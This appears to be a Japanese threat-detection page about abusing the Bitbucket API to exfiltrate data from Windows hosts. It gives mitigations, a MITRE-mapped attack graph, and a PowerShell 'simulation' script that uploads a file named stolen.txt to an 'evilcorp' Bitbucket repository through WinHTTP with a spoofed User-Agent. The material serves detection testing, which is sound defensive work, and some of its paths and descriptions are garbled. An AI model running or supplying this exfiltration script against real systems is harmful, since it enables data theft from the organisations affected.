Bitbucket APIの悪用:巧妙なデータ窃取のための簡単なトリック
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この概念実証は、小さなCプログラムがBitbucketのウェブフックAPIを悪用し、侵害されたWindowsシステムからホステレメトリを流出させる方法を示します。ホスト名、OSビルド、CPU情報、ネットワークアダプタデータなどの詳細を収集し、新しく作成されたウェブフックの説明フィールド内に出力を隠し、通常のクラウドトラフィックに静かに溶け込みます。
調査
著者は、漏洩のために使用したウェブフックを端から端まで作成、検査、削除するための完全なソース、ビルド手順、およびサンプルcurlリクエストを共有します。コンパイル済みバイナリは、ANY.RUNサンドボックス内のWindows 10 x64 22H2ホストで実行され、明白なアラートなしにデータを送信しました。記事では、最近のAPT活動で記録された類似のGitプラットフォームの悪用についても言及しています。
緩和策
Bitbucketおよび他のコードホストへのアウトバウンドHTTPSを監視し、予期せぬウェブフック作成や奇妙な説明テキストを含むAPIコールにフラグを立てます。強力な認証を要求し、APIトークンの制限と範囲を設定し、最小特権の適用、リポジトリの構成変更を定期的に監査します。
対応策
検出時に、ホストからのBitbucketトラフィックをブロックし、暴露されたAPIトークンを取り消し、リポジトリ全体のウェブフックをインベントリして悪意のあるエントリを削除します。フォレンジックのためにエンドポイントアーティファクトを収集し、後に続くペイロードをスキャンし、CI/CDおよび開発者アカウントの資格情報を更新します。
"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>アクション</b> – システム情報を収集"] class action_collect action tech_sysinfo["<b>テクニック</b> – <b>T1082 システム情報の発見</b><br/><b>説明</b>: ホストの詳細を収集します。例えばホスト名、OSバージョン、CPUアーキテクチャ、プロセッサ数、論理ドライブ、IPアドレスです。"] class tech_sysinfo technique tool_bitbucket["<b>ツール</b> – Bitbucket Cloud REST API<br/><b>メソッド</b>: Base64でエンコードされたユーザー名:APIu2011トークンを使用したPOST"] class tool_bitbucket tool tech_webservice["<b>テクニック</b> – <b>T1102.002 Webサービス: 双方向通信</b><br/><b>説明</b>: 正当なWebサービスAPIを使用してデータを送受信します。"] class tech_webservice technique tech_exfil_repo["<b>テクニック</b> – <b>T1567.001 Webサービス経由での流出: コードリポジトリへの流出</b><br/><b>説明</b>: サービスAPIを使用して収集したデータをコードホスティングリポジトリにアップロードします。"] class tech_exfil_repo technique tech_exfil_webhook["<b>テクニック</b> – <b>T1567.004 Webサービス経由での流出: ウェブフック経由での流出</b><br/><b>説明</b>: 環境外へ情報を輸送するために構成されたウェブフックを介してデータを送信します。"] class tech_exfil_webhook technique tech_obfuscation["<b>テクニック</b> – <b>T1001.003 データ難読化: プロトコルまたはサービスの偽装</b><br/><b>説明</b>: 信頼できるサービスへの通常のAPIコールとして悪意のあるトラフィックを装います。"] class tech_obfuscation technique %% Connectionsnaction_collect –>|uses| tech_sysinfontech_sysinfo –>|provides data to| tool_bitbucketntool_bitbucket –>|leverages| tech_webservicentool_bitbucket –>|creates webhook for| tech_exfil_repontool_bitbucket –>|creates webhook for| tech_exfil_webhookntech_webservice –>|is concealed by| tech_obfuscation tech_exfil_repo –>|exfiltrates data via| tech_obfuscation tech_exfil_webhook –>|exfiltrates data via| tech_obfuscationn"
攻撃フロー
シミュレーション実行
前提条件: テレメトリとベースラインの事前フライトチェックに合格している必要があります。
理由: このセクションでは、検出ルールを引き起こすためにデザインされた攻撃技術(TTP)の正確な実行を詳述します。コマンドと説明は特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃の説明とコマンド:
シミュレーションされた敵対者は、小さなデータセット(例: 企業の慎重に監視された環境でホストされている)を入手し、それを私的なBitbucketリポジトリにこっそりと流出させたいと考えています。正当な開発ツールと合致するため、攻撃者はネイティブのWinHTTP COMオブジェクト(C:tempstolen.txt)を選択しました。これはWindowsシステムに一般的に存在し、直接WinHttp.WinHttpRequest.5.1)を使用します。WinHttpConnectandWinHttpSendRequest関数を直接呼び出し、検出ルールが監視する送信要求をトリガーします。- ダミーの流出データを含む一時ファイルを作成します。
- WinHTTP COMオブジェクトをインスタンス化します。
- POST接続を開きます。
https://api.bitbucket.org/2.0/repositories/<team>/<repo>/src. - 適切なヘッダーを設定します(
Authorization: Basic …,Content-Type: multipart/form-data). - ファイルの内容を送信します。
- HTTP 200応答を確認します。
この正確なシーケンスにより、Sysmonは
NetworkConnectイベントを記録し、 プロセス ispowershell.exeおよび 関数 チェーンがWinHttpConnectandWinHttpSendRequestを含み、Sigmaルールを満たします。 -
リグレッションテストスクリプト:
# -------------------------------------------------------------- # Bitbucket API流出(WinHTTP経由でSigmaルールをトリガー) # -------------------------------------------------------------- $tempFile = "C:tempstolen.txt" $repoOwner = "evilcorp" $repoName = "leaked-data" $username = "eviluser" $appPassword = "APPPASSWD" # "username:appPassword"のBase64 $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword")) # 1. ダミーデータを作成(存在しない場合) if (-not (Test-Path $tempFile)) { "敵対者によって収集された機密データ" | Set-Content -Path $tempFile -Encoding UTF8 } # 2. multipart/form-dataペイロードを作成 $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)" $body = @" --$boundary Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)" Content-Type: application/octet-stream
$(Get-Content $tempFile -Raw) –$boundary– “@
# 3. WinHTTP COMオブジェクトを初期化
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"
# 4. POSTリクエストを開きます
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false) # 同期要求
# 5. 必要なヘッダーを設定
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
# 6. ペイロードを送信します(これによりWinHttpConnect + WinHttpSendRequestがトリガーされる)
$winHttp.Send($body)
# 7. 検証のための応答ステータスを出力
Write-Host "HTTP Status:" $winHttp.Status
Write-Host "Response Body:" $winHttp.ResponseText
-
クリーンアップコマンド:
# 一時ファイルを削除 Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue # オプションとして、BitbucketアプリパスワードをWeb UIで手動で取り消します Write-Host "クリーンアップ完了。必要に応じてリポジトリからアップロードされたファイルを削除してください。"